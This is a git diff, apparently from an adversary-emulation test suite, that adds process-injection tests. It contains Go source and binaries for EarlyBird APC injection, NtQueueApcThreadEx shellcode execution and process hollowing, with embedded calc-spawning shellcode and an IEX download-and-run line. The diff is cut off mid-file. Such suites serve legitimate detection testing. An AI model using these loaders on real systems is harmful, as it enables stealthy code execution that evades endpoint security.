diff --git a/atomics/T1055.004/T1055.004.yaml b/atomics/T1055.004/T1055.004.yaml index 9ef07081..6ae40c7d 100644 --- a/atomics/T1055.004/T1055.004.yaml +++ b/atomics/T1055.004/T1055.004.yaml @@ -33,3 +33,59 @@ atomic_tests: command: | "#{exe_binary}" name: command_prompt +- name: EarlyBird APC Queue Injection in Go + description: | + Creates a process in a suspended state and calls QueueUserAPC WinAPI to add a UserAPC to the child process that points to allocated shellcode. + ResumeThread is called which then calls NtTestAlert to execute the created UserAPC which then executes the shellcode. + This technique allows for the early execution of shellcode and potentially before AV/EDR can hook functions to support detection. + - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe) + - References: + - https://www.bleepingcomputer.com/news/security/early-bird-code-injection-technique-helps-malware-stay-undetected/ + - https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection + supported_platforms: + - windows + input_arguments: + spawn_process_path: + description: Path of the binary to spawn + type: string + default: C:\Windows\System32\werfault.exe + spawn_process_name: + description: Name of the process to spawn + type: string + default: werfault + executor: + name: powershell + elevation_required: false + command: | + $PathToAtomicsFolder\T1055.004\bin\x64\EarlyBird.exe -program "#{spawn_process_path}" -debug + cleanup_command: | + Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue + Stop-Process -Name "#{spawn_process_name}" -ErrorAction SilentlyContinue +- name: Remote Process Injection with Go using NtQueueApcThreadEx WinAPI + description: | + Uses the undocumented NtQueueAPCThreadEx WinAPI to create a "Special User APC" in the current thread of the current process to execute shellcode. + Since the shellcode is loaded and executed in the current process it is considered local shellcode execution. + + Steps taken with this technique + 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write + 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space + 3. Change the memory page permissions to Execute/Read with VirtualProtect + 4. Get a handle to the current thread + 5. Execute the shellcode in the current thread by creating a Special User APC through the NtQueueApcThreadEx function + + - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread) + - References: + - https://repnz.github.io/posts/apc/user-apc/ + - https://docs.rs/ntapi/0.3.1/ntapi/ntpsapi/fn.NtQueueApcThreadEx.html + - https://0x00sec.org/t/process-injection-apc-injection/24608 + - https://twitter.com/aionescu/status/992264290924032005 + - http://www.opening-windows.com/techart_windows_vista_apc_internals2.htm#_Toc229652505 + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: | + $PathToAtomicsFolder\T1055.004\bin\x64\NtQueueApcThreadEx.exe -debug + cleanup_command: | + Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue \ No newline at end of file diff --git a/atomics/T1055.004/bin/x64/EarlyBird.exe b/atomics/T1055.004/bin/x64/EarlyBird.exe new file mode 100644 index 00000000..3c8f3576 Binary files /dev/null and b/atomics/T1055.004/bin/x64/EarlyBird.exe differ diff --git a/atomics/T1055.004/bin/x64/NtQueueApcThreadEx.exe b/atomics/T1055.004/bin/x64/NtQueueApcThreadEx.exe new file mode 100644 index 00000000..3c7c7512 Binary files /dev/null and b/atomics/T1055.004/bin/x64/NtQueueApcThreadEx.exe differ diff --git a/atomics/T1055.004/src/x64/EarlyBird.go b/atomics/T1055.004/src/x64/EarlyBird.go new file mode 100644 index 00000000..db8353bb --- /dev/null +++ b/atomics/T1055.004/src/x64/EarlyBird.go @@ -0,0 +1,189 @@ +//go:build windows +// +build windows + +// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/EarlyBird/main.go +// Concept pulled from https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/ + +/* + This program executes shellcode in a child process using the following steps: + 1. Create a child proccess in a suspended state with CreateProcessW + 2. Allocate RW memory in the child process with VirtualAllocEx + 3. Write shellcode to the child process with WriteProcessMemory + 4. Change the memory permissions to RX with VirtualProtectEx + 5. Add a UserAPC call that executes the shellcode to the child process with QueueUserAPC + 6. Resume the suspended program with ResumeThread function +*/ + +package main + +import ( + "encoding/hex" + "flag" + "fmt" + "log" + "os" + "syscall" + "unsafe" + + // Sub Repositories + "golang.org/x/sys/windows" +) + +func main() { + verbose := flag.Bool("verbose", false, "Enable verbose output") + debug := flag.Bool("debug", false, "Enable debug output") + program := flag.String("program", "C:\\Windows\\System32\\notepad.exe", "The program to start and inject shellcode into") + args := flag.String("args", "", "Program command line arguments") + flag.Usage = func() { + flag.PrintDefaults() + os.Exit(0) + } + flag.Parse() + + // Pop Calc Shellcode (x64) + shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") + if errShellcode != nil { + log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error())) + } + + if *debug { + fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...") + } + + // Load DLLs and Procedures + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + + if *debug { + fmt.Println("[DEBUG]Loading supporting procedures...") + } + VirtualAllocEx := kernel32.NewProc("VirtualAllocEx") + VirtualProtectEx := kernel32.NewProc("VirtualProtectEx") + WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") + QueueUserAPC := kernel32.NewProc("QueueUserAPC") + + // Create child proccess in suspended state + /* + BOOL CreateProcessW( + LPCWSTR lpApplicationName, + LPWSTR lpCommandLine, + LPSECURITY_ATTRIBUTES lpProcessAttributes, + LPSECURITY_ATTRIBUTES lpThreadAttributes, + BOOL bInheritHandles, + DWORD dwCreationFlags, + LPVOID lpEnvironment, + LPCWSTR lpCurrentDirectory, + LPSTARTUPINFOW lpStartupInfo, + LPPROCESS_INFORMATION lpProcessInformation + ); + */ + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling CreateProcess to start:\r\n\t%s %s...", *program, *args)) + } + procInfo := &windows.ProcessInformation{} + startupInfo := &windows.StartupInfo{ + Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED, + ShowWindow: 1, + } + errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo) + if errCreateProcess != nil && errCreateProcess.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling CreateProcess:\r\n%s", errCreateProcess.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully created the %s process in PID %d", *program, procInfo.ProcessId)) + } + + // Allocate memory in child process + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", procInfo.ProcessId)) + } + addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) + + if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error())) + } + + if addr == 0 { + log.Fatal("[!]VirtualAllocEx failed and returned 0") + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", procInfo.ProcessId)) + } + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Shellcode address: 0x%x", addr)) + } + + // Write shellcode into child process memory + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", procInfo.ProcessId)) + } + _, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) + + if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully wrote %d shellcode bytes to PID %d", len(shellcode), procInfo.ProcessId)) + } + + // Change memory permissions to RX in child process where shellcode was written + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", procInfo.ProcessId)) + } + oldProtect := windows.PAGE_READWRITE + _, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) + if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully changed memory permissions to PAGE_EXECUTE_READ in PID %d", procInfo.ProcessId)) + } + + // QueueUserAPC + if *debug { + fmt.Println("[DEBUG]Calling QueueUserAPC") + } + + ret, _, err := QueueUserAPC.Call(addr, uintptr(procInfo.Thread), 0) + if err != nil && errVirtualProtectEx.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling QueueUserAPC:\n%s", err.Error())) + } + if *debug { + fmt.Printf("[DEBUG]The QueueUserAPC call returned %v\n", ret) + } + if *verbose { + fmt.Printf("[-]Successfully queued a UserAPC on process ID %d\n", procInfo.ProcessId) + } + + // Resume the child process + if *debug { + fmt.Println("[DEBUG]Calling ResumeThread...") + } + _, errResumeThread := windows.ResumeThread(procInfo.Thread) + if errResumeThread != nil { + log.Fatal(fmt.Sprintf("[!]Error calling ResumeThread:\r\n%s", errResumeThread.Error())) + } + if *verbose { + fmt.Println("[+]Process resumed and shellcode executed") + } + + // Close the handle to the child process + if *debug { + fmt.Println("[DEBUG]Calling CloseHandle on child process...") + } + errCloseProcHandle := windows.CloseHandle(procInfo.Process) + if errCloseProcHandle != nil { + log.Fatal(fmt.Sprintf("[!]Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error())) + } + + // Close the hand to the child process thread + if *debug { + fmt.Println("[DEBUG]Calling CloseHandle on child process thread...") + } + errCloseThreadHandle := windows.CloseHandle(procInfo.Thread) + if errCloseThreadHandle != nil { + log.Fatal(fmt.Sprintf("[!]Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error())) + } +} + +// export GOOS=windows GOARCH=amd64;go build -o EarlyBird.exe ./EarlyBird.go diff --git a/atomics/T1055.004/src/x64/NtQueueApcThreadEx.go b/atomics/T1055.004/src/x64/NtQueueApcThreadEx.go new file mode 100644 index 00000000..634cb675 --- /dev/null +++ b/atomics/T1055.004/src/x64/NtQueueApcThreadEx.go @@ -0,0 +1,151 @@ +//go:build windows +// +build windows + +// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/NtQueueApcThreadEx-Local/main.go + +/* +This program executes shellcode in the current process using the following steps + 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write + 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space + 3. Change the memory page permissions to Execute/Read with VirtualProtect + 4. Get a handle to the current thread + 4. Execute the shellcode in the current thread by creating a "Special User APC" through the NtQueueApcThreadEx function + +References: + 1. https://repnz.github.io/posts/apc/user-apc/ + 2. https://docs.rs/ntapi/0.3.1/ntapi/ntpsapi/fn.NtQueueApcThreadEx.html + 3. https://0x00sec.org/t/process-injection-apc-injection/24608 + 4. https://twitter.com/aionescu/status/992264290924032005 + 5. http://www.opening-windows.com/techart_windows_vista_apc_internals2.htm#_Toc229652505 + +*/ + +package main + +import ( + "encoding/hex" + "flag" + "fmt" + "log" + "unsafe" + + // Sub Repositories + "golang.org/x/sys/windows" +) + +const ( + // MEM_COMMIT is a Windows constant used with Windows API calls + MEM_COMMIT = 0x1000 + // MEM_RESERVE is a Windows constant used with Windows API calls + MEM_RESERVE = 0x2000 + // PAGE_EXECUTE_READ is a Windows constant used with Windows API calls + PAGE_EXECUTE_READ = 0x20 + // PAGE_READWRITE is a Windows constant used with Windows API calls + PAGE_READWRITE = 0x04 +) + +// https://docs.microsoft.com/en-us/windows/win32/midl/enum +const ( + QUEUE_USER_APC_FLAGS_NONE = iota + QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC + QUEUE_USER_APC_FLGAS_MAX_VALUE +) + +func main() { + verbose := flag.Bool("verbose", false, "Enable verbose output") + debug := flag.Bool("debug", false, "Enable debug output") + flag.Parse() + + // Pop Calc Shellcode + shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") + if errShellcode != nil { + log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error())) + } + + if *debug { + fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...") + } + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + ntdll := windows.NewLazySystemDLL("ntdll.dll") + + if *debug { + fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect, and RtlCopyMemory procedures...") + } + VirtualAlloc := kernel32.NewProc("VirtualAlloc") + VirtualProtect := kernel32.NewProc("VirtualProtect") + GetCurrentThread := kernel32.NewProc("GetCurrentThread") + RtlCopyMemory := ntdll.NewProc("RtlCopyMemory") + NtQueueApcThreadEx := ntdll.NewProc("NtQueueApcThreadEx") + + if *debug { + fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode...") + } + addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) + + if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error())) + } + + if addr == 0 { + log.Fatal("[!]VirtualAlloc failed and returned 0") + } + + if *verbose { + fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode))) + } + + if *debug { + fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory...") + } + _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) + + if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error())) + } + if *verbose { + fmt.Println("[-]Shellcode copied to memory") + } + + if *debug { + fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ...") + } + + oldProtect := PAGE_READWRITE + _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) + if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error())) + } + if *verbose { + fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ") + } + + if *debug { + fmt.Println("[DEBUG]Calling GetCurrentThread...") + } + thread, _, err := GetCurrentThread.Call() + if err.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("Error calling GetCurrentThread:\n%s", err)) + } + if *verbose { + fmt.Printf("[-]Got handle to current thread: %v\n", thread) + } + + if *debug { + fmt.Println("[DEBUG]Calling NtQueueApcThreadEx...") + } + //USER_APC_OPTION := uintptr(QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC) + _, _, err = NtQueueApcThreadEx.Call(thread, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, uintptr(addr), 0, 0, 0) + if err.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("Error calling NtQueueApcThreadEx:\n%s", err)) + } + if *verbose { + fmt.Println("[-]Queued special user APC") + } + + if *verbose { + fmt.Println("[+]Shellcode Executed") + } + +} + +// export GOOS=windows GOARCH=amd64;go build -o NtQueueApcThreadEx.exe ./NtQueueApcThreadEx.go diff --git a/atomics/T1055.012/T1055.012.yaml b/atomics/T1055.012/T1055.012.yaml index 863b5002..1ce072d9 100644 --- a/atomics/T1055.012/T1055.012.yaml +++ b/atomics/T1055.012/T1055.012.yaml @@ -63,3 +63,51 @@ atomic_tests: IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1055.012\src\T1055.012-macrocode.txt" -officeProduct "#{ms_product}" -sub "Exploit" name: powershell +- name: Process Hollowing in Go using CreateProcessW WinAPI + description: | + Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process. + - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess) + supported_platforms: + - windows + input_arguments: + hollow_binary_path: + description: Path of the binary to hollow + type: string + default: C:\Windows\System32\werfault.exe + hollow_process_name: + description: Name of the process to hollow + type: string + default: werfault + executor: + name: powershell + elevation_required: false + command: | + $PathToAtomicsFolder\T1055.012\bin\x64\CreateProcess.exe -program "#{hollow_binary_path}" -debug + cleanup_command: | + Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue + Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue +- name: Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012) + description: | + Create a process in a suspended state, execute shellcode to spawn calc.exe in a child process, and then resume the original process. + This test uses the CreatePipe function to create an anonymous pipe that parent and child processes can communicate over. This anonymous pipe + allows for the retrieval of output generated from executed shellcode. + - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe) + supported_platforms: + - windows + input_arguments: + hollow_binary_path: + description: Path of the binary to hollow + type: string + default: C:\Windows\System32\werfault.exe + hollow_process_name: + description: Name of the process to hollow + type: string + default: werfault + executor: + name: powershell + elevation_required: false + command: | + $PathToAtomicsFolder\T1055.012\bin\x64\CreateProcessWithPipe.exe -program "#{hollow_binary_path}" -debug + cleanup_command: | + Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue + Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue \ No newline at end of file diff --git a/atomics/T1055.012/bin/x64/CreateProcess.exe b/atomics/T1055.012/bin/x64/CreateProcess.exe new file mode 100644 index 00000000..b2573aaf Binary files /dev/null and b/atomics/T1055.012/bin/x64/CreateProcess.exe differ diff --git a/atomics/T1055.012/bin/x64/CreateProcessWithPipe.exe b/atomics/T1055.012/bin/x64/CreateProcessWithPipe.exe new file mode 100644 index 00000000..4d0a173a Binary files /dev/null and b/atomics/T1055.012/bin/x64/CreateProcessWithPipe.exe differ diff --git a/atomics/T1055.012/src/x64/CreateProcess.go b/atomics/T1055.012/src/x64/CreateProcess.go new file mode 100644 index 00000000..8b8e079d --- /dev/null +++ b/atomics/T1055.012/src/x64/CreateProcess.go @@ -0,0 +1,614 @@ +//go:build windows +// +build windows + +// CREDIT: https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateProcess/main.go + +package main + +import ( + "encoding/binary" + "encoding/hex" + "flag" + "fmt" + "log" + "os" + "syscall" + "unsafe" + + // Sub Repositories + "golang.org/x/sys/windows" +) + +func main() { + verbose := flag.Bool("verbose", false, "Enable verbose output") + debug := flag.Bool("debug", false, "Enable debug output") + program := flag.String("program", "C:\\Windows\\System32\\notepad.exe", "The program to start and inject shellcode into") + args := flag.String("args", "", "Program command line arguments") + flag.Usage = func() { + flag.PrintDefaults() + os.Exit(0) + } + flag.Parse() + + // Pop Calc Shellcode (x64) + shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") + if errShellcode != nil { + log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error())) + } + + if *debug { + fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...") + } + + // Load DLLs and Procedures + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + ntdll := windows.NewLazySystemDLL("ntdll.dll") + + if *debug { + fmt.Println("[DEBUG]Loading supporting procedures...") + } + VirtualAllocEx := kernel32.NewProc("VirtualAllocEx") + VirtualProtectEx := kernel32.NewProc("VirtualProtectEx") + WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") + NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess") + + // Create child proccess in suspended state + /* + BOOL CreateProcessW( + LPCWSTR lpApplicationName, + LPWSTR lpCommandLine, + LPSECURITY_ATTRIBUTES lpProcessAttributes, + LPSECURITY_ATTRIBUTES lpThreadAttributes, + BOOL bInheritHandles, + DWORD dwCreationFlags, + LPVOID lpEnvironment, + LPCWSTR lpCurrentDirectory, + LPSTARTUPINFOW lpStartupInfo, + LPPROCESS_INFORMATION lpProcessInformation + ); + */ + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling CreateProcess to start:\r\n\t%s %s...", *program, *args)) + } + procInfo := &windows.ProcessInformation{} + startupInfo := &windows.StartupInfo{ + Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED, + ShowWindow: 1, + } + errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo) + if errCreateProcess != nil && errCreateProcess.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling CreateProcess:\r\n%s", errCreateProcess.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully created the %s process in PID %d", *program, procInfo.ProcessId)) + } + + // Allocate memory in child process + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", procInfo.ProcessId)) + } + addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) + + if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error())) + } + + if addr == 0 { + log.Fatal("[!]VirtualAllocEx failed and returned 0") + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", procInfo.ProcessId)) + } + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Shellcode address: 0x%x", addr)) + } + + // Write shellcode into child process memory + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", procInfo.ProcessId)) + } + _, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) + + if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully wrote %d shellcode bytes to PID %d", len(shellcode), procInfo.ProcessId)) + } + + // Change memory permissions to RX in child process where shellcode was written + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", procInfo.ProcessId)) + } + oldProtect := windows.PAGE_READWRITE + _, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) + if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully changed memory permissions to PAGE_EXECUTE_READ in PID %d", procInfo.ProcessId)) + } + + // Query the child process and find its image base address from its Process Environment Block (PEB) + // https://github.com/winlabs/gowin32/blob/0b6f3bef0b7501b26caaecab8d52b09813224373/wrappers/winternl.go#L37 + // http://bytepointer.com/resources/tebpeb32.htm + // https://www.nirsoft.net/kernel_struct/vista/PEB.html + type PEB struct { + //reserved1 [2]byte // BYTE 0-1 + InheritedAddressSpace byte // BYTE 0 + ReadImageFileExecOptions byte // BYTE 1 + BeingDebugged byte // BYTE 2 + reserved2 [1]byte // BYTE 3 + // ImageUsesLargePages : 1; //0x0003:0 (WS03_SP1+) + // IsProtectedProcess : 1; //0x0003:1 (Vista+) + // IsLegacyProcess : 1; //0x0003:2 (Vista+) + // IsImageDynamicallyRelocated : 1; //0x0003:3 (Vista+) + // SkipPatchingUser32Forwarders : 1; //0x0003:4 (Vista_SP1+) + // IsPackagedProcess : 1; //0x0003:5 (Win8_BETA+) + // IsAppContainer : 1; //0x0003:6 (Win8_RTM+) + // SpareBit : 1; //0x0003:7 + //reserved3 [2]uintptr // PVOID BYTE 4-8 + Mutant uintptr // BYTE 4 + ImageBaseAddress uintptr // BYTE 8 + Ldr uintptr // PPEB_LDR_DATA + ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS + reserved4 [3]uintptr // PVOID + AtlThunkSListPtr uintptr // PVOID + reserved5 uintptr // PVOID + reserved6 uint32 // ULONG + reserved7 uintptr // PVOID + reserved8 uint32 // ULONG + AtlThunkSListPtr32 uint32 // ULONG + reserved9 [45]uintptr // PVOID + reserved10 [96]byte // BYTE + PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE + reserved11 [128]byte // BYTE + reserved12 [1]uintptr // PVOID + SessionId uint32 // ULONG + } + + // https://github.com/elastic/go-windows/blob/master/ntdll.go#L77 + type PROCESS_BASIC_INFORMATION struct { + reserved1 uintptr // PVOID + PebBaseAddress uintptr // PPEB + reserved2 [2]uintptr // PVOID + UniqueProcessId uintptr // ULONG_PTR + InheritedFromUniqueProcessID uintptr // PVOID + } + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling NtQueryInformationProcess on %d...", procInfo.ProcessId)) + } + + var processInformation PROCESS_BASIC_INFORMATION + var returnLength uintptr + ntStatus, _, errNtQueryInformationProcess := NtQueryInformationProcess.Call(uintptr(procInfo.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength) + if errNtQueryInformationProcess != nil && errNtQueryInformationProcess.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", errNtQueryInformationProcess.Error())) + } + if ntStatus != 0 { + if ntStatus == 3221225476 { + log.Fatal("[!]Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476) + } + fmt.Println(fmt.Sprintf("[!]NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus)) + log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", syscall.Errno(ntStatus))) + } + if *verbose { + fmt.Println("[-]Got PEB info from NtQueryInformationProcess") + } + + // Read from PEB base address to populate the PEB structure + // ReadProcessMemory + /* + BOOL ReadProcessMemory( + HANDLE hProcess, + LPCVOID lpBaseAddress, + LPVOID lpBuffer, + SIZE_T nSize, + SIZE_T *lpNumberOfBytesRead + ); + */ + + ReadProcessMemory := kernel32.NewProc("ReadProcessMemory") + + if *debug { + fmt.Println("[DEBUG]Calling ReadProcessMemory for PEB...") + } + + var peb PEB + var readBytes int32 + + _, _, errReadProcessMemory := ReadProcessMemory.Call(uintptr(procInfo.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes))) + if errReadProcessMemory != nil && errReadProcessMemory.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PEB", readBytes)) + } + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]PEB: %+v", peb)) + fmt.Println(fmt.Sprintf("[DEBUG]PEB ImageBaseAddress: 0x%x", peb.ImageBaseAddress)) + } + + // Read the child program's DOS header and validate it is a MZ executable + type IMAGE_DOS_HEADER struct { + Magic uint16 // USHORT Magic number + Cblp uint16 // USHORT Bytes on last page of file + Cp uint16 // USHORT Pages in file + Crlc uint16 // USHORT Relocations + Cparhdr uint16 // USHORT Size of header in paragraphs + MinAlloc uint16 // USHORT Minimum extra paragraphs needed + MaxAlloc uint16 // USHORT Maximum extra paragraphs needed + SS uint16 // USHORT Initial (relative) SS value + SP uint16 // USHORT Initial SP value + CSum uint16 // USHORT Checksum + IP uint16 // USHORT Initial IP value + CS uint16 // USHORT Initial (relative) CS value + LfaRlc uint16 // USHORT File address of relocation table + Ovno uint16 // USHORT Overlay number + Res [4]uint16 // USHORT Reserved words + OEMID uint16 // USHORT OEM identifier (for e_oeminfo) + OEMInfo uint16 // USHORT OEM information; e_oemid specific + Res2 [10]uint16 // USHORT Reserved words + LfaNew int32 // LONG File address of new exe header + } + + if *debug { + fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_DOS_HEADER...") + } + + var dosHeader IMAGE_DOS_HEADER + var readBytes2 int32 + + _, _, errReadProcessMemory2 := ReadProcessMemory.Call(uintptr(procInfo.Process), 